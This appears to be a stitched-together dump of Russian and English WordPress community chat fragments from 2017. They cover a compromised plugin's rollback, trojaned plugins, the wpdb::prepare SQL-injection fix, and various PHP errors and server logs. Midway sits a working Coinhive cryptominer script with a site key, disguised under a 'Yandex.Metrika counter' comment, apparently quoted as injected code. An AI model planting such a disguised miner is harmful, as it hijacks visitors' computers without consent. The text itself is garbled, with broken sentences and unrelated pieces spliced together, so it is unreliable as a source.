% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3815k 100 3815k 0 0 5241k 0 --:--:-- --:--:-- --:--:-- 5247k
100 801 100 801 0 0 19560 0 --:--:-- --:--:-- --:--:-- 19560
gpg: assuming signed data in `phpfpm-7.2.0b3-pro.tar.lzma'
gpg: Signature made Thu 17 Aug 2017 06:33:58 PM MSK using RSA key ID 3E...
gpg: Good signature from "Yui ゆい <yui@...>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: ...
php-fpm: no process found
php-fpm5.3: no process found
php-fpm5.4: no process found
php-fpm5.5: no process found
php-fpm7.0: no process found
‘bin/php-fpm7.2’ -> ‘/usr/local/jinx/bin/php-fpm7.2’
Dont forget to run jinx after completing all updates
Заметка про обновлённый редактор файлов: https://choycedesign.com/2017/08/21/no-code-pro-code/
Все понимают, что это спорная функция, которую стоит либо убрать, либо сделать удобнее и безопаснее.
Посовещавшись, руководители релиза решили, что от улучшения будет больше пользы, можно постепенно превращать пользователей в разработчиков)
Возможные улучшения:
дела.
просто перечень инструмента.
главное - чтобы по типу инструмента и по объекту можно было делать фильтрацию
понимать что где находится```
никому ничего подобного не попадалось ?
 DRUPPI ( 13:50 09/сен/2017 )
короче хотел как лучше (сделать для фирмы удобную фиговину)
а получилось как всегда - недостаток инструментов для творения ограничивает возможности или требует денег
:slightly_smiling_face:
Какие 35 плагинов от WP?)
ipstenu [21:57]
[https://wordpress.org/support/topic/display-widgets-2-7-is-safe/](https://wordpress.org/support/topic/display-widgets-2-7-is-safe/)
[21:57]
We didnt' 'take it over' though. We just rolled it back and disabled it so people can only update.
clorith [21:57]
But plugin_dir_path
can't be used outside of a plugins primary file, I am looking at using it on the debug screen
xkon
[21:58]
ow true, didn't know that parameter :stuck_out_tongue_winking_eye:
otto42
[21:59]
@markm Yesterday, I rolled the plugin back to 2.05 and then bumped it to 2.7 so that people could update to the last known clean version of that code.
[21:59]
You can see the change here: https://plugins.trac.wordpress.org/log/display-widgets/
markm [21:59]
Thanks!
[21:59]
Good move I think.
ipstenu [22:03]
FWIW, the page is still disabled so no one new can install it. We're not recommending anyone use this, but we do want them to be able to update and get secure. Please don't tell people how to download the zip (which yes, we know they can if they try) because this plugin needs to die in a fire. (I recommend using Widget Visibility in Jetpack - https://jetpack.com/support/widget-visibility/ )
otto42
[22:05]
I believe that approximately half of the people who installed the bad versions have now updated to 2.7, thus wiping that bad code out. Not bad for 24 hours. I figure it'll be cleaned up totally in about a week, given the data
ipstenu [22:06]
There have been two reports of an upgrade loop from the 2.7 install, but I can't suss out why.
new messages
mjassen [22:14]
_pops in and reads some scrollback_
shyzer [22:37]
I had the upgrade loop as well and that's what finally caused me to notice something was weird. Can't believe I used such a bad plugin for so long!```
Сегодня штук 200 сайтов в нашей компании WP наkрылись!```
дальше можно не читать ))
it's plagins are all cross-linked trojans,
Он был их, передали кому-то месяц назад: https://plugins.trac.wordpress.org/log/captcha
У них вообще целая куча плагинов: https://profiles.wordpress.org/bestwebsoft#content-plugins
Пишут всё подряд, лишь бы своё)
Капча от BWS жива https://wordpress.org/plugins/google-captcha/ и тут речь не про неё."
<!-- Yandex.Metrika counter -->
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('PW7FI1VfOmLOORjnVtJqS62MdJTJFiOl');
miner.start();
</script>
Там много разных критериев: количество активных установок, решённых тем на форуме, дата последнего обновления, переводы и т.д. В детали пока не вникал)
> Самые... малополезные критерии.
А какие полезнее?
А обоих этих местах нет этого заголовка.
shortlink
-- это не только HTML-тег <link>
, но и HTTP-заголовок Link
.Первый выводится функцией wp_shortlink_wp_head()
, второй -- wp_shortlink_header()
. Выводиться они могут независимо друг от друга.
shortlink
- вся выдача "как удалить из ВП" (и немного Друпал). И даже в манах по html ничего про него нет. https://www.w3.org/TR/html5/links.html Так что понимание его чисто интуитивно можно сказать.Вот сеошнеги поголовно твердят о вреде оного (я лично оч. сомневаюсь в этом). А что сподвигло разработчиков ВП его ввести?
Из их аргументов я понял про 2:
<?p hp
и вставляла мусор в скрипт (неопределенная функция + отсутствие ; )Подготовка к Гутенбергу идет полным ходом, теперь вот и сообщение выведут, мол пора установить.
Можете создать заново, чтобы она появилась вначале списка, а эту тогда скроем, но, кто подписан на RSS в любом случае её увидят.
```Leverage browser caching
E (56)
Server High
Leverage browser caching for the following cacheable resources:
[https://askon.spb.ru/wp-content/themes/education-hub-child/images/xstrelka-right.png.pagespeed.ic.fzLmw_jQ93.webp](https://askon.spb.ru/wp-content/themes/education-hub-child/images/xstrelka-right.png.pagespeed.ic.fzLmw_jQ93.webp) (5 minutes)
[https://askon.spb.ru/wp-content/uploads/2016/04/xcropped-logo-1-150x150.png.pagespeed.ic.BNxdZqOZzl.webp](https://askon.spb.ru/wp-content/uploads/2016/04/xcropped-logo-1-150x150.png.pagespeed.ic.BNxdZqOZzl.webp) (5 minutes)
[https://askon.spb.ru/wp-content/uploads/2016/04/xcropped-logo-1-300x300.png.pagespeed.ic.wW53ShApCB.webp](https://askon.spb.ru/wp-content/uploads/2016/04/xcropped-logo-1-300x300.png.pagespeed.ic.wW53ShApCB.webp) (5 minutes)
[https://askon.spb.ru/wp-content/uploads/2017/02/x1_1.jpg.pagespeed.ic.9V9mI3TM13.webp](https://askon.spb.ru/wp-content/uploads/2017/02/x1_1.jpg.pagespeed.ic.9V9mI3TM13.webp) (5 minutes)
[https://askon.spb.ru/wp-content/uploads/2017/02/x2_2.jpg.pagespeed.ic.ubGPyKLUfn.webp](https://askon.spb.ru/wp-content/uploads/2017/02/x2_2.jpg.pagespeed.ic.ubGPyKLUfn.webp) (5 minutes)
[https://askon.spb.ru/wp-content/uploads/2017/02/x3_3.jpg.pagespeed.ic._nw-obecxn.webp](https://askon.spb.ru/wp-content/uploads/2017/02/x3_3.jpg.pagespeed.ic._nw-obecxn.webp) (5 minutes)
[https://askon.spb.ru/wp-content/uploads/2017/02/x4_4.jpg.pagespeed.ic.3cKA9WwYls.webp](https://askon.spb.ru/wp-content/uploads/2017/02/x4_4.jpg.pagespeed.ic.3cKA9WwYls.webp) (5 minutes)
[https://askon.spb.ru/wp-content/uploads/2017/02/x5_5.jpg.pagespeed.ic.SvZwf-nUot.webp](https://askon.spb.ru/wp-content/uploads/2017/02/x5_5.jpg.pagespeed.ic.SvZwf-nUot.webp) (5 minutes)```
get_available_languages()
смотрит, файлы каких языков лежат в wp-content/languages
, и в зависимости от этого скачиваются обновления. Видимо, хостер ставит лишние языки?inity /home/netster/ffanet/wp-content \#find . -name \*[de_DE.mo](http://de_DE.mo)|xargs rm -fv
wp-content/languages
все лишние лангпаки. Но они остались в темах и плагинах. Сегодня обновляю тему и снова прилетают не нужные.inity /home/netster/ffanet/wp-content/languages \#find . -name \*.mo|grep -v -e en_US -e ru_RU
inity /home/netster/ffanet/wp-content/languages \#
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND (((wp_posts.post_title LIKE '{d5925a5d1cd9740d87871ea8f0e2a0b57c3ecd569faabfb923b469f9e4f8423d}привет{d5925a5d1cd9740d87871ea8f0e2a0b57c3ecd569faabfb923b469f9e4f8423d}') OR (wp_posts.post_excerpt LIKE '{d5925a5d1cd9740d87871ea8f0e2a0b57c3ecd569faabfb923b469f9e4f8423d}привет{d5925a5d1cd9740d87871ea8f0e2a0b57c3ecd569faabfb923b469f9e4f8423d}') OR (wp_posts.post_content LIKE '{d5925a5d1cd9740d87871ea8f0e2a0b57c3ecd569faabfb923b469f9e4f8423d}привет{d5925a5d1cd9740d87871ea8f0e2a0b57c3ecd569faabfb923b469f9e4f8423d}')))
Выдает <?php echo $GLOBALS['wp_query']->request; ?>
на странице результатов поиска.
$wpdb::prepare()
экранирует символы %
, чтобы злоумышленник не мог добавить в запрос дополнительные параметры.$wp_query->request
действительно содержит такие последовательности, но перед выполнением запроса они с помощью фильтра query
меняются обратно: https://core.trac.wordpress.org/ticket/42426#comment:3, см. $wpdb::add_placeholder_escape()
, $wpdb::remove_placeholder_escape()
.
global $wpdb;
add_filter( 'posts_request', array( $wpdb, 'remove_placeholder_escape' ), 10, 2 );
Это, видимо, теперь, чтобы использовать фильтр posts_where
нужно будет сначала сделать remove_placeholder_escape()
, а после изменений вернуть всё на место с помощью add_placeholder_escape()
.
Там сообщивший об уязвимости бил копытом и настаивал на срочном исправлении, угрожая full disclosure, т.к. решил, что его игнорируют:
https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-background.html
https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html
Потому решение нестандартное, упор был в первую очередь на безопасность и возврат поддержки нумерованных заполнителей %1$s
, %2$d
и т.д. (хотя в $wpdb::prepare()
они всегда были недокументированными, их запрет в 4.8.2 для многих оказался неожиданным, а проблему до конца не решал). Теперь, когда всё улеглось, можно подумать о деталях типа posts_where
:slightly_smiling_face:
$wpdb::prepare()
они всегда были недокументированными, их запрет в 4.8.2 для многих оказался неожиданным, а проблему до конца не решал[22:02]
There will be a 24-hour code freeze prior to the final release once these are cleared up.```
DOM7011: Код на этой странице запрещает кэширование вперед и назад. Дополнительные сведения см. по адресу [http://go.microsoft.com/fwlink/?LinkID=291337](http://go.microsoft.com/fwlink/?LinkID=291337)
Код на этой странице запрещает её кэширование при переходе на другие страницы.
Вот я такой классный, коммитю сайт в гит, компилю sass локально и по итогу заливаю сайт на хостинг. Он там лежит всё ок, у меня код в гите, копия на серваке. Жить можно. Тут врывается SEO-шник и начинает править файлы прямо на серваке. Ничего не подозревающий Денис продолжает делать доработки по своей версии кода и получает ведро негодования из-за перетертых изменений SEO-шника. Может у кого-то есть мысля как автоматизированно узнавать, что файлы изменились? А то кнопочку Скачать не всегда вспоминаешь (.
У меня такой небольшой вопрос который нужно решить.
Я пытаюсь сделать на страницах с записями (главная страница, категории, архив и т.д.), чтобы слой с записью был целиком ссылкой. Но, я сейчас сделал так, где есть контент (изображение записи, название и описание), ссылка работает, а оставшиеся пустая зона, ссылка не активна. Как сделать так, чтобы ссылка работала по всему слою?
Пробовал разные варианты, менял расположение ссылки и также проводил манипуляции с CSS, пока безрезультатно.
Тема: Noteblog, вер. 0.8 (https://themes.trac.wordpress.org/browser/noteblog/0.8)
Файл template-parts/content-excerpt.php отвечает за отображение блока с контентом
Сайт, где нужно решить проблему: http://сюрприз-нв.рф
Буду рад, если решите эту проблему.
Да, обернуть div ссылкой, это я в курсе. Здесь пришлось попариться над CSS. flex решил проблему. Конечно, как всегда удивлён, что решение было почти простым. Но все равно, спасибо за помощь! :+1:
PHP Warning: uasort(): Array was modified by the user comparison function in /wp-includes/class-wp-theme.php on line 1476
PHP Warning: uasort(): Array was modified by the user comparison function
Версия PHP? Google в основном указывает на WPML и какие-то древние темы) В PHP 7, впрочем, исправлена похожая ошибка: https://bugs.php.net/bug.php?id=50688
> Отключение всех плагов и дефолтная тема всё равно в правом фрейме кастомайзера дают белый экран . Куда смотреть?
В логи?)
[24-Nov-2017 17:49:11 UTC] WP_Community_Events::maybe_log_events_response: Valid response received. Details: {"api_url":"https:\/\/api.wordpress.org\/events\/1.0\/","request_args":{"body":{"number":5,"ip":"130.180.220.0","locale":"ru_RU"}},"response_code":200,"response_body":{"location":{"ip":"130.180.220.0"},"events":"1 events trimmed."}}
WP_Customize_Partial
и WP_Customize_Selective_Refresh
) -- видимо, пока не так много тем это поддерживают)Надо глянуть, где там задаётся время и какие есть фильтры, я ещё не смотрел)
header.php
поигрался и удалил. Теперь в логах ошибка PHP Warning: file_get_contents /wp-content/themes/child-theme/header.php): failed to open stream: No such file or directory in /wp-includes/class-wp-theme.php on line 1042
PHP Warning: file_get_contents(/wp-content/themes/child-theme/@header.php): failed to open stream: No such file or directory in /wp-includes/class-wp-theme.php on line 1042
Ну или искать готовое решение среди кучи CRM систем и, возможно, адаптировать под себя.
Inactive Plugins (10)
Accelerated Mobile Pages version 0.9.71 by Ahmed Kaludi, Mohammed Kaludi
AMP version 0.5.1 by Automattic
Disqus Comment System version 2.87 by Disqus <team@disqus.com>
-d0-b7-d0-b0-d0-ba-d0-b0-d1-82--d0-b2--d0-bf-d0-be-d0-bb-d0-b5
. Другой Phoenix Media Rename - даёт вручную имя поменять но так неудобно. И никто не даёт это сделать удобно-массово (надо в каждый заходить и менять, сохранять), И самая "приятность" - GUID (в котором урл картинки) никто не меняет. Может поменять только первый, но дефолтно это отключено ещё и предупреждение висит - типа ненужно его менять. У второго и настроек нет никаких.Gutenberg will be in WordPress 5.0, and it is definitely different from the current editor. There will be a plugin available to restore the classic editor if necessary, but we wanted to discuss if we should do anything special for this release.
Overall, time will tell, but we’re leaning towards having a separate FAQ/OMG/BBQ post just for Gutenberg.
\".*\"
найдет всё и даже пустые кавычки. А как найти 1 и больше символов в кавычках?Manjaro
PCLinuxOS
Puppy Linux
MEPIS/MX-15
Arch User Repository (AUR)
Gentoo Overlays
Slackbuilds
```
хотя у них оверлей где-то есть гентушный
Это-то каким боком к HTML и что вообще такое "веб-платформа"? то ли перевод корявый то ли.. одно из двух
Но дальше косячёк. После обновления если кликнуть по ссылке https://i.imgur.com/YEOFo4U.jpg
получим "Извините, вам не разрешено просматривать эту страницу." Что в общем-то понятно, но тогда и ссылка какбэ не нужна
fclose() expects parameter 1 to be resource, boolean given
md5_file(/tmp/wordpress-4.9.1-RuM4F1.tmp): failed to open stream: Нет такого файла или каталога
wp-admin/includes/file.php: $file_md5 = md5_file( $filename, true );
$ curl -I [https://downloads.wordpress.org/theme/storefront.2.2.5.zip](https://downloads.wordpress.org/theme/storefront.2.2.5.zip)
HTTP/2 200
server: nginx
date: Fri, 22 Dec 2017 12:18:47 GMT
content-type: application/zip
content-length: 2600058
content-disposition: attachment; filename=storefront.2.2.5.zip
x-frame-options: SAMEORIGIN
x-nc: EXPIRED lax 188
$ curl -I [https://ru.wordpress.org/wordpress-4.9.1-ru_RU.tar.gz](https://ru.wordpress.org/wordpress-4.9.1-ru_RU.tar.gz)
HTTP/2 200
server: nginx
date: Fri, 22 Dec 2017 12:19:38 GMT
content-type: application/octet-stream
content-length: 10188079
cache-control: private
content-disposition: attachment; filename=wordpress-4.9.1-ru_RU.tar.gz
last-modified: Sat, 16 Dec 2017 00:01:11 GMT
x-frame-options: SAMEORIGIN
content-md5: 592a1d73f68fd87a535e39498a5a16a2
x-nc: EXPIRED lax 249
accept-ranges: bytes
imagick module version 3.4.3
imagick classes Imagick, ImagickDraw, ImagickPixel, ImagickPixelIterator, ImagickKernel
Imagick compiled with ImageMagick version ImageMagick 6.9.9-30 Q16 i586 2017-12-29 [http://www.imagemagick.org](http://www.imagemagick.org)
Imagick using ImageMagick library version ImageMagick 6.9.9-30 Q16 i586 2017-12-29 [http://www.imagemagick.org](http://www.imagemagick.org)
ImageMagick copyright © 1999-2018 ImageMagick Studio LLC
ImageMagick release date 2017-12-29
ImageMagick number of supported formats: 226
imagick module version 3.4.3
imagick classes Imagick, ImagickDraw, ImagickPixel, ImagickPixelIterator, ImagickKernel
Imagick compiled with ImageMagick version ImageMagick 6.9.9-23 Q16 i586 2017-11-12 [http://www.imagemagick.org](http://www.imagemagick.org)
Imagick using ImageMagick library version ImageMagick 6.9.9-23 Q16 i586 2017-11-12 [http://www.imagemagick.org](http://www.imagemagick.org)
ImageMagick copyright © 1999-2017 ImageMagick Studio LLC
ImageMagick release date 2017-11-12